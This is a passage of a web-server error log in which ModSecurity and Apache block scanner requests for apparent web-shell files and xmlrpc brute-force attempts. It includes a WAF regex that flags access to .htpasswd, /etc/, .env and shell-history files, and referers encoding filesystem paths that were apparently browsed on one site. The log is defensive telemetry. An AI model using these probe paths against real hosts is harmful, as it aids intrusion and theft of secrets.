"torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xfSmiP80klyS0Nnr4NwABMUQ"] [Sat Jun 13 18:10:37.991279 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:10:37.991736 2026] [access_compat:error] [pid 531155:tid 531187] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vaW5wdXQ0L2RldmljZQ== [Sat Jun 13 18:10:38.057903 2026] [security2:error] [pid 531797:tid 532037] [client 191.234.188.123:48026] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/s.php"] [unique_id "ai3xfsTA7b1mZrmcA-8mNwAAAjw"] [Sat Jun 13 18:10:38.176904 2026] [security2:error] [pid 531797:tid 532119] [client 172.171.3.232:64637] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.jesusknowsyourname.org"] [uri "/100.php"] [unique_id "ai3xfsTA7b1mZrmcA-8mPgAAAos"] [Sat Jun 13 18:10:38.298073 2026] [access_compat:error] [pid 531797:tid 531982] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0L3NwYS0wLjI= [Sat Jun 13 18:10:38.298344 2026] [access_compat:error] [pid 531797:tid 531982] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0L3NwYS0wLjI= [Sat Jun 13 18:10:38.325924 2026] [security2:error] [pid 531155:tid 531326] [client 172.171.3.232:41487] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/prosell2.php"] [unique_id "ai3xfimiP80klyS0Nnr4SwAAATM"] [Sat Jun 13 18:10:38.368756 2026] [security2:error] [pid 531797:tid 532107] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vprintf_variation10.phpt"] [unique_id "ai3xfsTA7b1mZrmcA-8mQgAAAoA"] [Sat Jun 13 18:10:38.380960 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.77:55807] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:38.381421 2026] [access_compat:error] [pid 531797:tid 531872] [remote 57.141.14.77:55807] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:38.435907 2026] [security2:error] [pid 531797:tid 532095] [client 20.9.67.71:36036] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/loxico93.php"] [unique_id "ai3xfsTA7b1mZrmcA-8mRgAAAnQ"] [Sat Jun 13 18:10:38.484223 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:38.484509 2026] [access_compat:error] [pid 531155:tid 531219] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:38.546394 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.85:43336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:38.546683 2026] [access_compat:error] [pid 531797:tid 531949] [remote 57.141.14.85:43336] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:38.645533 2026] [security2:error] [pid 531155:tid 531360] [client 20.151.217.54:48164] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/wemanso.php7"] [unique_id "ai3xfimiP80klyS0Nnr4VQAAAVU"] [Sat Jun 13 18:10:38.665311 2026] [security2:error] [pid 531797:tid 532001] [client 191.234.188.123:48048] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/css/w3llstore.php"] [unique_id "ai3xfsTA7b1mZrmcA-8mTgAAAhk"] [Sat Jun 13 18:10:38.668848 2026] [security2:error] [pid 531797:tid 532117] [client 20.151.217.54:9456] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/auto.php"] [unique_id "ai3xfsTA7b1mZrmcA-8mTwAAAoo"] [Sat Jun 13 18:10:38.787486 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:10:38.787767 2026] [access_compat:error] [pid 531797:tid 531989] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly92YXIvc29mdGFjdWxvdXM= [Sat Jun 13 18:10:38.809001 2026] [access_compat:error] [pid 531797:tid 531920] [remote 57.141.14.48:34657] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:38.809416 2026] [access_compat:error] [pid 531797:tid 531920] [remote 57.141.14.48:34657] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:38.951106 2026] [security2:error] [pid 531155:tid 531175] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/web.config"] [unique_id "ai3xfimiP80klyS0Nnr4XgABiRM"] [Sat Jun 13 18:10:38.978189 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:10:38.978633 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ0L3N1YnN5c3RlbS9pbnB1dDUvbW91c2UwL2RldmljZQ== [Sat Jun 13 18:10:39.092090 2026] [security2:error] [pid 531797:tid 531914] [remote 17.241.219.201:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 201.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xf8TA7b1mZrmcA-8mZwACPjI"] [Sat Jun 13 18:10:39.228572 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.86:40812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:39.229046 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.86:40812] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:39.339563 2026] [access_compat:error] [pid 531797:tid 531901] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L29wdC9wdXBwZXQz [Sat Jun 13 18:10:39.339971 2026] [access_compat:error] [pid 531797:tid 531901] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L29wdC9wdXBwZXQz [Sat Jun 13 18:10:39.444903 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.91:51978] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:39.445340 2026] [access_compat:error] [pid 531797:tid 531878] [remote 57.141.14.91:51978] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:39.467166 2026] [security2:error] [pid 531155:tid 531313] [client 20.151.217.54:9350] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/twinklingly.php"] [unique_id "ai3xfymiP80klyS0Nnr4dAAAASY"] [Sat Jun 13 18:10:39.512376 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjFh [Sat Jun 13 18:10:39.512742 2026] [access_compat:error] [pid 531155:tid 531239] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvTE5YQ1BVOjFh [Sat Jun 13 18:10:39.727866 2026] [security2:error] [pid 531797:tid 531942] [remote 74.7.242.16:57868] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3xf8TA7b1mZrmcA-8mgQACYU4"], referer: https://www.homs.co.ke/?action=adminer&p=L29wdC9wdXBwZXQz [Sat Jun 13 18:10:39.881545 2026] [access_compat:error] [pid 531797:tid 531931] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:39.881928 2026] [access_compat:error] [pid 531797:tid 531931] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly9iaW4= [Sat Jun 13 18:10:39.960700 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.2:28941] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:39.961146 2026] [access_compat:error] [pid 531155:tid 531264] [remote 57.141.14.2:28941] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:40.015265 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:40.015707 2026] [access_compat:error] [pid 531155:tid 531268] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQxL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:40.054630 2026] [security2:error] [pid 531797:tid 531976] [remote 17.22.253.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgMTA7b1mZrmcA-8migACcG8"] [Sat Jun 13 18:10:40.102565 2026] [security2:error] [pid 531155:tid 531228] [remote 17.246.15.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xgCmiP80klyS0Nnr4hgABdkg"] [Sat Jun 13 18:10:40.400846 2026] [security2:error] [pid 531155:tid 531383] [client 20.9.67.71:36165] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mujermag.com.todadata.com"] [uri "/momo.php"] [unique_id "ai3xgCmiP80klyS0Nnr4iwAAAWw"] [Sat Jun 13 18:10:40.527596 2026] [security2:error] [pid 531797:tid 532021] [client 172.56.168.133:28425] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xgMTA7b1mZrmcA-8mmwAAAi0"] [Sat Jun 13 18:10:40.527741 2026] [security2:error] [pid 531797:tid 532021] [client 172.56.168.133:28425] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xgMTA7b1mZrmcA-8mmwAAAi0"] [Sat Jun 13 18:10:40.531391 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.89:34312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:40.531837 2026] [access_compat:error] [pid 531797:tid 531953] [remote 57.141.14.89:34312] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:40.567044 2026] [security2:error] [pid 531797:tid 532014] [client 20.151.217.54:9387] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/12.php"] [unique_id "ai3xgMTA7b1mZrmcA-8mnAAAAiY"] [Sat Jun 13 18:10:40.572196 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQ3L2lk [Sat Jun 13 18:10:40.572646 2026] [access_compat:error] [pid 531155:tid 531181] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 